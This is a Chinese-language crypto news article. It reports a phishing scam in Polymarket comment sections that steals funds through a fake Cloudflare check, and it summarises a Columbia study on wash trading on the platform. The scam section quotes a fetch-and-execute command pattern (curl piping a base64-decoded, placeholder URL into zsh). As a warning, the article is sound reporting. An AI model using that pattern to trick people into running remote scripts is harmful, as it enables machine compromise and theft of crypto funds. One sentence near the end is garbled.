Polymarket 私域市场出现钓鱼链接：用户发出警报

Polymarket 再度登上头条，这次是因为其高级交易者“25usdc”发出警报，揭露了一个利用该平台评论区诱骗无辜用户的骗局。 

此事发生在 Polymarket 平台的关键时刻：它正准备重返美国市场，同时在与 Kalshi 等竞争对手的较量中举步维艰。 

Polymarket 交易者高度戒备 

据25usdc称, 黑客一直利用 Polymarket 评论区实施诈骗，截至目前，用户损失已超过 50 万美元。

‘他们说：“你为什么不在 Polymarket 私域市场交易？那里的赔率总是好得多！”’25usdc 写道，随后解释了整个骗局的运作方式。 

据他所述，这一切始于他们从两个独立账户购买同一市场的Yes和No份额。这样，即使启用了“持仓者”过滤器，他们的评论依然存在。随后，他们会以混淆的形式在其网站上发布一个URL。

该URL会将毫无防备的用户引导至一个看似干净的页面，页面上带有Polymarket标志，并要求用户通过电子邮件登录。一旦邮箱验证完成，就会弹出一个新窗口，要求用户验证其活动，模仿CloudFlare的界面。 

然而，当点击“复制”时，25usdc指出实际复制的命令类似于“curl -kfsSL $(echo 'ENCODED_STRING=='|base64 -d)|zsh”。如果用户不慎将其粘贴到终端中，该命令首先会解码Base64编码的字符串（即服务器URL），然后从该服务器获取脚本并立即执行。 

该脚本可能包含任何内容，且据报道不会弹出任何警告。此时损害已经造成，而根据25usdc的说法，唯一的补救措施可能是关闭Wi-Fi。 

“最终，他们会收集数据，记录您系统上的所有内容，并将压缩包发送回他们的服务器，”25usdc写道。“随后，他们利用这些数据登录您的账户并盗取您的资金。”

他注意到的其他细节包括该团伙运作的谨慎程度；例如，他们频繁切换钱包以掩盖行踪，每一步都进行混淆处理，甚至在无活跃受害者时关闭发送载荷和接收日志数据的服务器。

“我认为解决这一问题的最佳方式是允许可信用户审核评论，或引入一个将大量踩点帖子隐藏的下拉投票系统，”25usdc在指出简单 警告 Polymarket目前显示的内容还远远不够。”中得出结论。 

公告：不存在所谓的拥有“更优赔率”的Polymarket“私人市场”网站。

切勿在任何非我们官方网站上输入您的Polymarket邮箱或登录验证码。

— Polymarket Traders (@PolymarketTrade) 2025 年 11 月 9 日

新研究声称Polymarket的交易量由对敲交易支撑

正如 Cryptopolitan 在 6 月报道, 哥伦比亚大学研究人员最近发表的一项研究称，Polymarket上的活动交易量已被对敲交易显著夸大。 

作者将其称为“人为交易”，其规模随时间波动，但他们表示，在过去三年中，这种交易占Polymarket所有买卖活动的平均比例为25%。 

该论文尚未经过同行评审，但已发布在开放获取研究平台SSRN上，并正在接受Polymarket方面的审查。 

需要明确的是，作者并未直接指控 Polymarket 本身存在对敲交易行为。然而，他们指出了该交易所基于加密货币的结构中存在的一些要素，使得这一说法具有合理性。  

他们还推测，该公司的客户可能已独立参与了上述对敲交易，试图提高获得该公司创始人谢恩·科普兰（Shayne Coplan）暗示可能于10月8日推出的专有数字代币的机会。 

“我希望Polymarket能欢迎我们论文中的分析，”哥伦比亚大学商学院教授、该论文四位合著者之一的亚什·卡诺里亚（Yash Kanoria）在电子邮件中表示。“对敲交易并未为市场增加流动性或信息，因此区分真实交易量与虚假交易量似乎具有重要价值。”

如果Polymarket的部分交易量确实属于“虚构”，该研究声称这可能改变业界对其相对实力的认知，并削弱预测市场反映“大众智慧”的现有观念。

“大规模对敲交易的可能性意味着交易量可能无法作为衡量平台真实活动的可靠指标，尤其是在加密货币交易所中，这些交易所可能缺乏适当的安全保障措施，”作者们总结道。